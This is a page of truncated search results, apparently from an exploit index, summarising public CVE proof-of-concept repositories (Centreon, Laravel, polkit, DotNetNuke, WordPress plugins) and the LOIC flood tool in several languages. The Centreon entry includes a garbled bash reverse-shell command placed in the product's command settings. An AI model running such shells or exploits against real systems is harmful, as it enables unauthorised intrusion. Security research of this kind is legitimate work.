141126 matches found
CVE-2019-19699
CVE-2019-19699 Centreon = Commands Miscellaneous Klicken Sie auf Add , wie im Bild unten gezeigt. Wir erstellen nun eine Bash-Reverse-Shell als unseren Miscellaneous-Befehl. root@kitploit: !/bin/bash bash -i & /dev/tcp/IP/PORT 0&1 Und klicken Sie auf Save. Nun navigieren wir zu Configuration...
nextcloud_android
Nextcloud Android-App Codacy Badge Der Android-Client fürNextcloud. Arbeite einfach mit deinen Daten auf deiner Nextcloud. Wie du beitragen kannst Wenn du zu Nextcloud beitragen möchtest, bist du herzlich willkommen: auf unseren IRC-Kanälen und auf freenode unserem Forum unter...
WP-Contest-Gallery-28.1.4-Exploit
⚠️ In fase di test Questo PoC è attivamente in fase di test e miglioramento. Le funzionalità possono cambiare tra le versioni. CVE-2026-3180 WordPress Contest Gallery — SQL Injection cieca non autenticata Strumento di valutazione proof-of-concept per CVE-2026-3180 Autore: Sudeepa Wanigarathna ·...
CVE-2021-3129
Esecuzione di codice remoto: Laravel CVE-2021-3129 📜 Descrizione Questo script è progettato per sfruttare la vulnerabilità di esecuzione di codice remoto RCE identificata in diverse versioni di Laravel, nota come CVE-2021-3129. Sfruttando questa vulnerabilità, lo script consente agli utenti di...
nebulousAD
⚠️ Una nota per gli utenti di NebulousAD A partire dal 14 aprile, NuID non ospiterà più l'API NebulousAD con cui questo codice comunica. In quanto piccolo team di sviluppatori, abbiamo scoperto che non è fattibile supportare, monitorare e sviluppare attivamente sia il portale NebulousAD che il...
CVE-2024-57429
CVE-2024-57429 Uma vulnerabilidade de cross-site request forgery CSRF na função pjActionUpdate do PHPJabbers Cinema Booking System v2.0 permite que atacantes remotos elevem privilégios ao enganar um administrador autenticado para submeter uma requisição não autorizada. Impacto: A exploração desta...
CVE-2017-9822
CVE-2017-9822 DotNetNuke Cookie Deserialization Execução Remota de Código RCE As versões do DotNetNuke DNN entre 5.0.0 e 9.3.0 são afetadas por uma vulnerabilidade de desserialização que leva à Execução Remota de Código RCE. O DotNetNuke usa o cookie DNNPersonalization para armazenar opções de...
e-cology
Esecuzione remota di codice nel componente Beanshell di Weaver e-cology OA Windows Linux Nota root@kitploit: Rileva os.name del sistema di destinazione se il sistema di destinazione è Windows, per eseguire comandi come set è necessario digitare manualmente cmd.exe /c set Usa Unicode per aggirare ...
CVE-2021-3560
Sfruttamento di PolicyKit CVE-2021-3560 Agente di autenticazione Implementazione in C dello sfruttamento di CVE-2021-3560, post del blog su questo sfruttamento: https://ricterz.me/posts/2022-04-28-a-new-exploit-method-for-cve-2021-3560-polkit-linux-privilege-escalation.txt...
apache_skywalking
Apache SkyWalking SkyWalking : un sistema APM monitoraggio delle prestazioni delle applicazioni, progettato appositamente per architetture basate su microservizi, cloud native e container Docker, Kubernetes, Mesos. Sommario SkyWalking è un sistema APM open source, che include funzionalità di...
CVE-2023-4294
CVE-ID : CVE-2023-4294 Schwachstellentyp : Cross-Site Scripting Beschreibung : Das URL Shortify-Plugin für WordPress ist in Versionen bis einschließlich 1.7.5 anfällig für gespeichertes Cross-Site Scripting über den Referrer-Header, da die Eingabebereinigung und Ausgabe-Escaping unzureichend sind...
CVE-2024-46278-teedy_1.11_account-takeover
【CVE-2024-46278】teedy1.11account-takeover 【Teedy 1.11】Kontoübernahme via XSS Details Es liegt eine Sicherheitslücke vor, die beim Herunterladen von Dateien zu XSS führt. Die XSS-Sicherheitslücke könnte es einem Teedy-Administrator ermöglichen, mit wenigen Klicks ein Konto zu übernehmen. Diese...
CVE-2023-27524
Badges Licença MIT Instalação...
CVE-2025-59528-PoC
CVE-2025-59528 PoC Python-Proof-of-Concept-Skript zum Auslösen des Flowise-CustomMCP-RCE-Pfads über POST /api/v1/node-load-method/customMCP. ⚠️ Nur für Bildungszwecke und autorisierte Sicherheitsforschung. Das Ausführen dieses Tools gegen Systeme, die Sie nicht besitzen oder für die Sie keine...
CVE-2023-49070
CVE-2023-49070 RCE pre-autenticazione in Apache Ofbiz!! Guarda il video POC: https://youtu.be/gDzYb6YvBSQ...
keepass_poc
CVE-2022-0725 POC per KeePass CVE-2022-0725 Passaggi per riprodurre: Step 1: Esegui "journalctl -f" in una finestra di terminale. Step 2: Fai doppio clic su una password in KeePass. Step 3: Attendi che il timeout di cancellazione si attivi. Risultati effettivi: Vedere la tua password in chiaro...
CVE-2024-4956
Abzeichen Lizenz MIT Installation...
unzip_poc
CVE-2022-0529 und CVE-2022-0530 POC für unzip 6.0 CVE-2022-0529 & CVE-2022-0530 https://bugzilla.redhat.com/showbug.cgi?id=2051402 https://bugzilla.redhat.com/showbug.cgi?id=2051395...
LOIC
INFO Low Orbit Ion Cannon LOIC è un tool open source per stress test di rete, scritto in C. LOIC è basato sul progetto LOIC di Praetox su https://sourceforge.net/projects/loic/ . DISCLAIMER LOIC è solo a scopo educativo, inteso ad aiutare i proprietari di server a sviluppare un atteggiamento di...